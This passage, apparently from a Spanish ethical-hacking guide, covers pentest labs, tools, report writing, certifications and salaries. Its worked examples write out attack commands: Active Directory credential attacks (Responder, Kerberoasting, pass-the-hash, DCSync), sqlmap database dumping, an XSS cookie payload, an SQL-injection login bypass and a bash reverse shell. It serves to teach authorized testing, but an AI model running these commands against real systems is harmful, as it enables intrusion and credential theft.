import sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(1)
            result = s.connect_ex((host, port))
            if result == 0:
                print(f"[+] Puerto {port} abierto")
                return port
    except Exception:
        pass
    return None

def scan_host(host, ports):
    print(f"\n[*] Escaneando {host}")
    with ThreadPoolExecutor(max_workers=100) as executor:
        executor.map(lambda p: scan_port(host, p), ports)

if __name__ == "__main__":
    target = sys.argv[1]
    ports = range(1, 1025)
    scan_host(target, ports)

Lenguajes útiles:

Python: esencial.
Go: herramientas modernas.
Rust: herramientas rápidas.
Bash: automatización simple.

12.7 Laboratorio casero de pentesting

Componentes:

Hipervisor: Proxmox VE.
Firewall: pfSense.
Atacante: Kali Linux.
Objetivos:
- Metasploitable 2/3.
- DVWA.
- OWASP Juice Shop.
- VulnHub máquinas.
- Windows Server + AD.

Red aislada:

Sin acceso a internet.
Subredes separadas.
Snapshots antes de cada prueba.

Guía completa: [ENLACE: /mi-laboratorio-de-ciberseguridad-profesional-con-proxmox-y-pfsense-guia-paso-a-paso-2026/]

12.8 Herramientas emergentes 2026

Nuevas tendencias:

IA en pentesting: ChatGPT y LLMs para análisis.
Cloud pentesting: herramientas para AWS/Azure/GCP.
Container security: Trivy, Falco, kube-bench.
Kubernetes pentesting: kube-hunter, Peirates.
API pentesting: herramientas específicas.
Mobile pentesting: Frida, Objection, MobSF.

Herramientas modernas:

ProjectDiscovery: Nuclei, httpx, subfinder.
Sliver: C2 moderno.
Havoc: C2 moderno.
Certipy: AD CS abuse.

12.9 Consideraciones sobre el uso de herramientas

Reglas:

Entiende antes de usar. No saber qué hace una herramienta es peligroso.
Practica en laboratorio. Antes de usar en producción.
Documenta todo. Cliente necesita saber qué hiciste.
Respeta el scope. No salirse del alcance.
Considera el impacto. Algunas herramientas pueden tumbar servicios.
Mantén actualizadas. Vulnerabilidades en las propias herramientas.

Nunca:

Usar herramientas contra sistemas sin autorización.
Ejecutar exploits «por probar».
Compartir hallazgos sin permiso.

13. Reportes y entregables

El informe es el producto final del pentest. Un buen trabajo técnico sin un buen informe se pierde. El cliente lo usa para decidir y remediar.

13.1 Estructura de un informe de pentest

Secciones típicas:

Portada: cliente, proyecto, fecha, autor.
Resumen ejecutivo: 1-2 páginas, sin tecnicismos.
Alcance y metodología.
Resumen de hallazgos: tabla con todos, por criticidad.
Hallazgos detallados: uno por uno.
Conclusión.
Anexos: evidencias, comandos, logs.

13.2 Resumen ejecutivo

Va dirigido a dirección (no técnicos). Debe:

Explicar el objetivo.
Resumir los hallazgos más críticos.
Cuantificar el riesgo.
Dar recomendaciones de alto nivel.
No usar tecnicismos.

Ejemplo:

Durante el pentest de 2 semanas realizado del 1 al 15 de marzo de 2026, se identificaron 23 vulnerabilidades: 3 críticas, 7 altas, 9 medias y 4 bajas. Las críticas permitirían a un atacante comprometer la base de datos de clientes y acceder a datos de tarjetas de crédito. Se recomienda priorizar las remediaciones indicadas en la sección de hallazgos.

13.3 Clasificación de hallazgos

Criticidad según CVSS:

Nivel	CVSS	Acción
Crítica	9.0-10.0	Remediación inmediata (<24h)
Alta	7.0-8.9	Remediación urgente (<7 días)
Media	4.0-6.9	Remediación programada (<30 días)
Baja	0.1-3.9	Remediación a largo plazo (<90 días)
Informativa	N/A	Solo informativo

Considerar también:

Impacto en negocio.
Exposición (internet vs interno).
Explotabilidad (EPSS).
Activos afectados.

13.4 Formato de hallazgo

Estructura estándar:

ID: XXX-001
Título: [Descripción corta y clara]
Criticidad: [Crítica/Alta/Media/Baja]
CVSS: [Puntuación]
CVE/CWE: [Si aplica]
Ubicación: [URL, IP, archivo]

Descripción:
[Explicación técnica del problema]

Impacto:
[Qué puede hacer un atacante con esto]

Evidencia:
[Capturas, request/response, comandos]

Remediación:
[Pasos concretos para solucionarlo]

Referencias:
[OWASP, NVD, vendor advisories]

Ejemplo completo:

ID: WEB-003
Título: SQL Injection en /login
Criticidad: Crítica
CVSS: 9.8
CVE: N/A
CWE: CWE-89
Ubicación: https://app.example.com/login

Descripción:
El parámetro "username" del formulario de login es vulnerable a 
SQL injection. Al inyectar comillas simples, se produce un error 
que revela la estructura de la base de datos.

Impacto:
Un atacante podría:
- Extraer toda la base de datos (usuarios, contraseñas).
- Modificar o borrar información.
- En algunos casos, ejecutar comandos en el servidor.

Evidencia:
Request: POST /login HTTP/1.1
username=admin'--&password=test
Response: Login exitoso como administrador

Remediación:
1. Usar prepared statements en todas las consultas.
2. Validar y sanitizar entrada del usuario.
3. Implementar WAF.
4. Aplicar principio de mínimo privilegio en la BD.

Referencias:
- OWASP A03:2021 Injection
- CWE-89: SQL Injection
- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

13.5 Recomendaciones de remediación

Buenas prácticas:

Concretas: no «mejorar la seguridad», sino «actualizar Apache a 2.4.58».
Priorizadas: por criticidad.
Cuantificadas: tiempo estimado, recursos.
Referenciadas: estándares, guías.
Accionables: el cliente debe saber qué hacer.

Ejemplos:

❌ «Actualizar el servidor.»
✅ «Actualizar Apache HTTP Server de 2.4.49 a 2.4.58 para mitigar CVE-2021-41773.»

❌ «Mejorar las contraseñas.»
✅ «Implementar política de contraseñas de mínimo 14 caracteres con MFA obligatorio para cuentas administrativas.»

13.6 Retesting

Proceso: verificar que las remediaciones funcionan.

Pasos:

Cliente remedia.
Pentester re-testea.
Documenta estado de cada hallazgo.
Nuevo informe con:
- Hallazgos cerrados.
- Hallazgos parcialmente cerrados.
- Hallazgos no cerrados.
- Nuevos hallazgos (si surgen).

Informe de retesting:

Más corto que el original.
Solo verifica los hallazgos previos.
Confirma o refuta remediaciones.

13.7 Presentación al cliente

Formatos:

Informe escrito: entregable principal.
Presentación ejecutiva: 30-60 min, para dirección.
Sesión técnica: para el equipo de IT.
Reunión de cierre: conclusiones.

Buenas prácticas:

Adaptar el lenguaje al público.
Ser honesto sobre limitaciones.
No alarmar innecesariamente.
Reconocer lo que funciona.
Ofrecer seguimiento.

13.8 Métricas y KPIs

Métricas útiles:

Nº de hallazgos por criticidad.
Tiempo medio hasta detección.
Tiempo medio hasta remediación.
% de remediación tras retesting.
Cobertura de activos testeados.

Cumplimiento:

ISO 27001.
PCI-DSS.
RGPD.
NIS2.

13.9 Documentación durante el pentest

Herramientas:

CherryTree: notas estructuradas.
Obsidian: knowledge base.
Notion.
OneNote.
Scripts de logging.

Estructura:

/pentest-2026-XXX/
├── 01-reconocimiento/
├── 02-escaneo/
├── 03-vulnerabilidades/
├── 04-explotacion/
├── 05-post-explotacion/
├── 06-evidencias/
├── 07-notas/
└── informe/

13.10 Confidencialidad del informe

El informe es confidencial. Reglas:

Cifrar el envío.
No compartir por canales inseguros.
Limitar acceso.
Destruir copias tras el proyecto.
Firmar NDA si el cliente lo pide.
No publicar hallazgos sin autorización.

Responsible disclosure: si se publica, dar tiempo al proveedor (90 días típico).

14. Certificaciones y carrera

El hacking ético tiene múltiples rutas profesionales. Esta sección resume las certificaciones y oportunidades.

14.1 Certificaciones entry-level

CompTIA Security+:

Fundamentos de seguridad.
No es específica de pentesting.
Buena base para empezar.
Precio: ~400 €.

CEH (Certified Ethical Hacker):

De EC-Council.
Introducción al hacking ético.
Polémica por enfoque teórico.
Precio: ~1.200 €.

eJPT (eLearnSecurity Junior Penetration Tester):

De INE.
Práctica, asequible.
Precio: ~200 €.
Muy recomendada para empezar.

14.2 Certificaciones prácticas

OSCP (Offensive Security Certified Professional):

La certificación de referencia.
Examen: 24h prácticas + 24h reporte.
Requiere laboratorio y esfuerzo serio.
Precio: ~1.500 €.
Muy respetada en la industria.

PNPT (Practical Network Penetration Tester):

De TCM Security.
Alternativa moderna a OSCP.
5 días de examen.
Precio: ~400 €.
Muy buena relación calidad/precio.

eCPPT (eLearnSecurity Certified Professional Penetration Tester):

De INE.
7 días de examen.
Enfoque en reporte.
Precio: ~400 €.

CRTP (Certified Red Team Professional):

Active Directory attacks.
De Altered Security.
Precio: ~250 €.

CRTE (Certified Red Team Expert):

Nivel avanzado de AD.
De Altered Security.

14.3 Certificaciones avanzadas

OSWE (Offensive Security Web Expert):

Pentesting web avanzado.
Examen de 48h.

OSEP (Offensive Security Experienced Pentester):

Evasión de defensas.
Red team.

OSED (Offensive Security Exploit Developer):

Exploit development.
Windows exploitation.

GPEN (GIAC Penetration Tester):

De GIAC/SANS.
Muy respetada.
Precio: alto (~8.000 € con curso).

GXPN (GIAC Exploit Researcher and Advanced Penetration Tester):

Nivel experto.

CRTO (Certified Red Team Operator):

De Zero-Point Security.
C2 frameworks (Cobalt Strike).
Precio: ~400 €.

14.4 Certificaciones especializadas

Cloud:

AWS Certified Security – Specialty.
Azure Security Engineer.
GCP Professional Cloud Security Engineer.

Forense:

GCFA (GIAC Certified Forensic Analyst).
EnCE (EnCase Certified Examiner).

Análisis de malware:

GREM (GIAC Reverse Engineering Malware).

Wireless:

OSWP (Offensive Security Wireless Professional).

Mobile:

eMAPT (eLearnSecurity Mobile Application Penetration Tester).

14.5 Ruta profesional

Ruta recomendada:

Año 1-2: Fundamentos

Comptia Security+ o equivalente.
eJPT o similar.
Practicar en TryHackMe.

Año 2-3: Certificación principal

OSCP o PNPT.
Practicar en HackTheBox.
CTFs regulares.

Año 3-5: Especialización

OSWE, OSEP, CRTO.
Enfoque en un área: web, AD, cloud, exploit dev.

Año 5+: Senior/Expert

GPEN, GXPN.
Contribuir a la comunidad.
Hablar en conferencias.

14.6 Salarios en España 2026

Rangos (brutos anuales):

Rol	Junior	Senior	Lead
Pentester	25-35k €	40-60k €	60-80k €
Red Teamer	30-40k €	50-70k €	70-100k €
Bug Bounty Hunter	Variable	Variable	100k+ €
Security Researcher	35-45k €	55-80k €	80-120k €
CISO	–	70-100k €	100-150k+ €

Factores:

Certificaciones (OSCP suma 10-20%).
Experiencia.
Sector (banca paga más).
Idioma (inglés suma).
Remoto internacional (hasta el doble).

14.7 Perfiles profesionales

Pentester:

Pruebas de intrusión por encargo.
Trabajo en consultora o freelance.
Entregables: informes.

Red Teamer:

Simulaciones avanzadas.
Trabajo en empresas grandes o consultoras especializadas.
Entregables: evaluaciones de detección y respuesta.

Bug Bounty Hunter:

Freelance.
Reporta vulnerabilidades a programas.
Ingresos variables.

Security Researcher:

Investiga nuevas vulnerabilidades.
Publica papers.
Trabaja en laboratorios o universidades.

Instructor / Formador:

Enseña hacking ético.
Cursos, bootcamps.
Puede combinar con pentesting.

Analista de malware:

Analiza muestras.
Forense y reversing.
Colabora con CERTs.

CISO / Security Manager:

Gestión, no técnica.
Requiere experiencia previa.
Visión estratégica.

14.8 Freelance vs empresa

Empresa (consultora):

Sueldo fijo.
Proyectos variados.
Estructura y mentoría.
Menos libertad.

Freelance:

Ingresos variables.
Más libertad.
Responsabilidad total.
Necesitas red de clientes.

Bug bounty:

Ingresos muy variables.
Máxima libertad.
Requiere nivel alto.
Puede combinarse con otras actividades.

Recomendación: empezar en empresa, luego freelance/bug bounty cuando tengas experiencia.

14.9 Comunidad y networking

Conferencias:

DEF CON (Las Vegas).
Black Hat.
Nullcon.
RootedCON (Madrid).
Mundo Hacker (México).
Ekoparty (Argentina).
Navaja Negra (Albacete).

Comunidades:

HackTheBox.
TryHackMe.
r/netsec.
Discord de seguridad.
Twitter/X (infosec community).

CTFs:

PicoCTF.
HackTheBox CTFs.
CTFtime.org.
Google CTF.
DEF CON CTF.

Publicaciones:

Blog propio.
Medium.
Papers en arXiv.
CVE reports.

15. Casos prácticos

La teoría está bien, pero el hacking ético se aprende practicando. Esta sección plantea escenarios reales que puedes reproducir en tu laboratorio.

15.1 Laboratorio casero con Proxmox + pfSense

Configuración:

Host físico: mini PC o servidor usado.
Proxmox VE instalado.
pfSense en una VM como firewall.
Kali Linux en otra VM (atacante).
Metasploitable 2 en otra VM (objetivo Linux).
Windows Server en otra VM (objetivo Windows + AD).
DVWA / Juice Shop para pentesting web.

Red:

Subred aislada (sin internet).
Snapshot antes de cada prueba.

Guía completa: Mi Laboratorio de Ciberseguridad Profesional con Proxmox y pfSense – Guía Paso a Paso (2026)

15.2 Ejemplo: pentesting de red interna

Escenario: red interna 192.168.1.0/24. Objetivo: comprometer Windows Server.

Fase 1: Reconocimiento

# Descubrir hosts
nmap -sn 192.168.1.0/24

# Escanear top 1000 puertos
nmap -sV -T4 192.168.1.0/24 -oA scan

Fase 2: Enumeración

# Identificar DC
nmap -p389,636,88,445 192.168.1.10

# SMB
enum4linux -a 192.168.1.10
smbclient -L //192.168.1.10

Fase 3: Ataque

# Responder para capturar hashes
sudo responder -I eth0 -rdw

# CrackMapExec para spraying
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

# BloodHound
bloodhound-python -u user -p pass -d domain.local -ns 192.168.1.10 -c all

Fase 4: Escalada y movimiento

# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request

# Pass-the-hash
impacket-psexec -hashes :NThash domain.local/admin@192.168.1.20

# DCSync
impacket-secretsdump domain.local/admin:pass@192.168.1.10

Fase 5: Reporte

Documentar cada paso con evidencias.

15.3 Ejemplo: pentesting web

Escenario: aplicación web en http://app.example.com.

Fase 1: Reconocimiento

whatweb http://app.example.com
gobuster dir -u http://app.example.com -w /usr/share/wordlists/dirb/common.txt

Fase 2: Análisis con Burp

Configurar proxy.
Navegar el sitio.
Analizar endpoints.

Fase 3: Explotación

SQL Injection:

sqlmap -u "http://app.example.com/product?id=1" --dbs
sqlmap -u "http://app.example.com/product?id=1" -D appdb -T users --dump

XSS:

<script>alert(document.cookie)</script>

File Upload:

Subir webshell PHP.
Ejecutar comandos.

Fase 4: Post-explotación

# Reverse shell con webshell
bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

Fase 5: Reporte

Documentar con capturas y request/response.

15.4 Ejemplo: análisis de malware

Escenario: muestra sospechosa en sample.exe.

Fase 1: Análisis estático

file sample.exe
strings sample.exe | head -100
peinfo sample.exe

Fase 2: Análisis dinámico (VM aislada)

# En REMnux o similar
sudo tcpdump -i eth0 -w traffic.pcap
# Ejecutar la muestra
# Analizar tráfico

Fase 3: Reversing

# Con Ghidra
ghidra sample.exe
# Con radare2
r2 sample.exe

Fase 4: IOCs

Hashes.
Dominios/IPs.
Rutas de archivos.
Claves de registro.

Guía: Análisis de Malware con Cuckoo Sandbox: Paso a Paso y Guía de herramientas de análisis de malware en Linux

15.5 Bug bounty: caso real

Escenario: investigas un programa de bug bounty en HackerOne.

Fase 1: Reconocimiento

amass enum -d target.com
subfinder -d target.com
httpx -l subs.txt -o live.txt

Fase 2: Análisis

# Nuclei con templates
nuclei -l live.txt -t cves/
nuclei -l live.txt -t vulnerabilities/

Fase 3: Hallazgo

Identificar vulnerabilidad.
Verificar manualmente.
Documentar con evidencias.

Fase 4: Reporte

Reportar en la plataforma.
Seguir las reglas del programa.
Esperar triage y recompensa.

Vulnerabilidades comunes en bug bounty:

IDOR.
XSS.
SSRF.
Open redirect.
Subdomain takeover.
Information disclosure.

15.6 Capture The Flag (CTF)

Los CTF son competiciones de hacking ético.

Tipos:

Jeopardy: retos por categoría.
Attack-Defense: atacar y defender.

Categorías:

Web.
Crypto.
Reversing.
Pwn (binary exploitation).
Forense.
OSINT.
Misc.

Plataformas:

CTFtime.org: calendario.
PicoCTF: para principiantes.
HackTheBox CTFs.
TryHackMe.

Cómo empezar:

Practica retos de picoCTF.
Únete a equipos.
Participa en CTFs online.
Aprende de writeups.

15.7 Proyecto: crear tu propio CVE

Un objetivo ambicioso: encontrar y reportar una vulnerabilidad real.

Pasos:

Elegir objetivo: software open source con bug bounty o responsable.
Auditar: revisar código, buscar patrones conocidos.
Reproducir: confirmar la vulnerabilidad.
Reportar: responsible disclosure al vendor.
CVE asignado: una vez validado.
Publicación: paper, blog, conferencia.

Impacto: reconocimiento profesional, mejora de CV.

15.8 Consideraciones éticas en casos prácticos

Siempre:

Laboratorio: sin límites, es tu entorno.
CTFs: reglas del CTF.
Bug bounty: reglas del programa.
Clientes: contrato y scope.

Nunca:

Atacar sistemas sin autorización.
Usar técnicas en producción sin permiso.
Compartir hallazgos sin autorización.
Ignorar el impacto en usuarios.

Regla de oro: si dudas, pregunta. Si no hay autorización, no lo hagas.

16. Conclusión

El hacking ético es mucho más que «usar Kali y lanzar exploits». Es una profesión seria, regulada y demandada que combina conocimientos técnicos profundos, metodología rigurosa, ética sólida y responsabilidad legal. Los pentesters son los que se ponen en la piel del atacante para que las organizaciones puedan dormir tranquilas.

En 2026, la demanda de profesionales de seguridad ofensiva sigue superando con creces la oferta. Hay un déficit global de más de 4 millones de profesionales en ciberseguridad, y el pentesting es una de las especialidades más demandadas. Salarios competitivos, trabajo remoto, proyectos interesantes y la satisfacción de proteger a organizaciones reales.

Pero también es una carrera de fondo. No hay atajos: requiere fundamentos sólidos (Linux, redes, programación), práctica constante (laboratorios, CTFs, bug bounty), certificaciones reconocidas (OSCP, PNPT) y años de experiencia. La buena noticia: todo está a tu alcance si te lo tomas en serio.

Los 10 puntos clave de esta guía

Hacking ético = ataque autorizado. Sin autorización por escrito, es delito.
El marco legal es estricto. Código Penal español + RGPD + RoE definidas.
Fundamentos primero: Linux, redes y programación son imprescindibles.
Metodologías son clave: PTES, OWASP, NIST, MITRE ATT&CK.
Las fases de un pentest son: reconocimiento → escaneo → análisis → explotación → post-explotación → reporte.
Reconocimiento y OSINT dan el 80% de la información sin tocar el objetivo.
La explotación es solo una parte. Post-explotación y reporte son igual de importantes.
Web y Active Directory son las áreas más demandadas.
Kali Linux y Metasploit son herramientas, no atajos.
Certificaciones prácticas (OSCP, PNPT) abren puertas reales.

Próximos pasos

Según tu perfil, esto es lo que te recomiendo hacer ahora:

Si eres principiante absoluto:

Domina Linux ([ENLACE: /guia-completa-linux/]).
Aprende redes básicas y programación en Python.
Instala Kali Linux en VM.
Empieza con TryHackMe (rutas guiadas).

Si ya tienes bases técnicas:

Monta tu laboratorio con Proxmox + pfSense.
Practica en HackTheBox.
Empieza a preparar eJPT o PNPT.
Aprende Burp Suite y Metasploit a fondo.

Si quieres profesionalizarte:

Certifícate: eJPT → PNPT → OSCP.
Especialízate: web, AD, cloud, exploit dev.
Participa en CTFs y bug bounty.
Construye tu marca personal (blog, GitHub).

Si ya trabajas en ciberseguridad:

Aprende red teaming (Cobalt Strike, Sliver).
Especialízate en cloud pentesting (AWS, Azure, GCP).
Considera certificaciones avanzadas (OSEP, CRTO).
Contribuye a la comunidad.

Reflexión final

El hacking ético es una profesión con propósito. No solo se trata de encontrar vulnerabilidades: se trata de ayudar a organizaciones a proteger datos, personas y servicios esenciales. Un pentester bien formado evita brechas reales, protege a usuarios y contribuye a un internet más seguro.

Pero también es una profesión con responsabilidad. El conocimiento que adquirirás puede usarse para bien o para mal. La diferencia está en la ética, la legalidad y la autorización. Un hacker ético es ante todo un profesional de confianza.

Si estás leyendo esto, ya has dado el primer paso. Ahora te toca a ti: estudia, practica, certifica y crece. La comunidad te espera con los brazos abiertos. Y recuerda: el mejor pentester no es el que más exploits conoce, sino el que mejor entiende los sistemas y los riesgos.

17. Preguntas frecuentes sobre hacking ético

17.1 ¿Qué es exactamente el hacking ético y en qué se diferencia del hacking malicioso?

El hacking ético es la práctica de identificar y explotar vulnerabilidades en sistemas informáticos con autorización explícita del propietario, con el objetivo de mejorar su seguridad. Se diferencia del hacking malicioso en:

Autorización: el ético la tiene, el malicioso no.
Objetivo: mejorar la seguridad vs. beneficio propio o daño.
Alcance: definido y respetado vs. sin límites.
Legalidad: legal con contrato vs. delito.
Reporte: informe detallado al cliente vs. silencio.

Un hacker ético trabaja como un atacante autorizado: piensa como delincuente, actúa como profesional, reporta como consultor.

17.2 ¿Es legal el hacking ético?

Sí, cuando hay autorización por escrito. Sin autorización, cualquier acceso a sistemas ajenos es delito según el Código Penal español (arts. 197, 264) y equivalente en otros países.

Requisitos:

Contrato de servicios firmado.
NDA (acuerdo de confidencialidad).
Rules of Engagement (RoE) que definen alcance.
Autorización del propietario del sistema.
Respeto estricto del alcance.

Sin estos elementos, no es hacking ético, es ciberdelincuencia.

17.3 ¿Qué necesito saber antes de empezar en hacking ético?

Los fundamentos son imprescindibles:

Linux: comandos, permisos, servicios, scripting. [ENLACE: /guia-completa-linux/]
Redes: TCP/IP, protocolos, subnetting, análisis de tráfico.
Programación: Python (esencial), Bash, algo de web.
Sistemas: Windows Server, Active Directory.

Regla: si no dominas Linux, redes y Python, dedica 6-12 meses a eso antes de meterte en hacking ético.

17.4 ¿Cuánto tiempo lleva convertirse en pentester profesional?

Realista:

Fundamentos: 6-12 meses.
Hacking ético básico: 6-12 meses.
Certificación OSCP: 1-2 años desde cero.
Senior: 3-5 años.
Experto: 5+ años.

Factores:

Horas diarias de práctica.
Base previa.
Método de aprendizaje.
Objetivo (junior vs senior).

Clave: constancia. 1 hora al día durante 2 años vale más que un curso intensivo de 3 meses.

17.5 ¿Qué certificaciones son las más recomendadas?

Para empezar:

eJPT (eLearnSecurity): práctica, asequible (~200 €).
CompTIA Security+: fundamentos.
CEH: introducción (polémica).

Para profesionalizar:

OSCP (Offensive Security): la referencia. ~1.500 €, examen 24h+24h.
PNPT (TCM Security): alternativa moderna a OSCP. ~400 €.
eCPPT: enfoque en reporte.

Para especializar:

OSWE: web avanzado.
OSEP: evasión.
CRTP/CRTE: Active Directory.
GPEN/GXPN: GIAC/SANS (caro).

Recomendación: eJPT → PNPT → OSCP → especialización.

17.6 ¿Es necesario estudiar una carrera universitaria?

No es obligatorio, pero ayuda.

Carrera (Ingeniería Informática, Ciberseguridad): base sólida, contactos, prácticas.
Alternativa: formación autodidacta + certificaciones + experiencia.

Muchos pentesters profesionales no tienen carrera específica. Lo que importa:

Conocimientos técnicos.
Certificaciones reconocidas.
Experiencia práctica.
Portfolio (blogs, GitHub, CTFs).

Recomendación: si puedes, estudia. Si no, el camino autodidacta funciona.

17.7 ¿Qué herramientas debo aprender primero?

Orden recomendado:

Linux (comandos básicos + scripting).
Nmap (escaneo de red).
Wireshark (análisis de tráfico).
Burp Suite (pentesting web).
Metasploit (explotación).
SQLmap (SQL injection).
Hydra (password attacks).
Mimikatz (Windows credentials).
Impacket (protocolos Windows).
BloodHound (Active Directory).

No intentes aprenderlas todas de golpe. Domina cada una antes de pasar a la siguiente.

17.8 ¿Puedo hacer hacking ético sin laboratorio?

Sí, pero es limitado. Puedes usar:

Plataformas online: TryHackMe, HackTheBox. [ENLACE: /platforms-to-practice-pentesting/]
CTFs online: picoCTF, HackTheBox CTFs.
Bug bounty: HackerOne, Bugcrowd.
VMs descargables: VulnHub.

Pero un laboratorio propio es ideal:

Control total.
Sin límites de tiempo.
Puedes romper cosas.
Aprendes configuración real.

Guía: Mi Laboratorio de Ciberseguridad Profesional con Proxmox y pfSense – Guía Paso a Paso (2026)

17.9 ¿Cuánto gana un pentester en España?

Rangos (brutos anuales, 2026):

Rol	Junior	Senior	Lead
Pentester	25-35k €	40-60k €	60-80k €
Red Teamer	30-40k €	50-70k €	70-100k €
Bug Bounty Hunter	Variable	Variable	100k+ €
Security Researcher	35-45k €	55-80k €	80-120k €
CISO	–	70-100k €	100-150k+ €

Factores que influyen:

Certificaciones (OSCP suma 10-20%).
Experiencia.
Sector (banca paga más).
Idioma (inglés suma).
Remoto internacional (hasta el doble).

17.10 ¿Cuál es la diferencia entre pentesting y red teaming?

Aspecto	Pentest	Red Team
Objetivo	Encontrar vulnerabilidades	Evaluar detección y respuesta
Alcance	Sistemas específicos	Organización completa
Duración	1-4 semanas	Meses
Sigilo	Limitado	Máximo
Equipo	1-3 personas	3-10 personas
Técnicas	Amplio rango	APT-like
Reporte	Vulnerabilidades	Capacidad de detección/respuesta

Guía: Red Team y Blue Team: Roles y Estrategias en Ciberseguridad

17.11 ¿Es peligroso aprender hacking ético?

No, si se hace con ética y legalidad.

El conocimiento es neutral. Lo que marca la diferencia es el uso:

Uso ético: autorización, scope, reporte.
Uso malicioso: sin autorización, delito.

Riesgos reales:

Legales: sin autorización, es delito.
Técnicos: puedes romper cosas (por eso se hace en laboratorio).
Profesionales: un mal uso arruina tu carrera.

Reglas:

Nunca ataques sistemas sin autorización.
Practica en laboratorios.
Documenta todo.
Respeta la ética profesional.

17.12 ¿Qué hago si encuentro una vulnerabilidad sin autorización?

Escenario común: mientras navegas, encuentras una vulnerabilidad en una web.

Opciones:

Responsible disclosure: reportar al propietario sin publicar.
Bug bounty: si el sitio tiene programa, reportar por ahí.
No hacer nada: si no hay canal seguro, mejor no arriesgar.

Nunca:

Explotarla más allá de lo mínimo.
Acceder a datos de otros usuarios.
Publicarla sin autorización.
Extorsionar al propietario.

Marco legal: incluso con buenas intenciones, si accedes sin autorización, es delito. La responsible disclosure tiene protección limitada en España.

Recomendación: si no estás seguro, consulta a un abogado antes de actuar.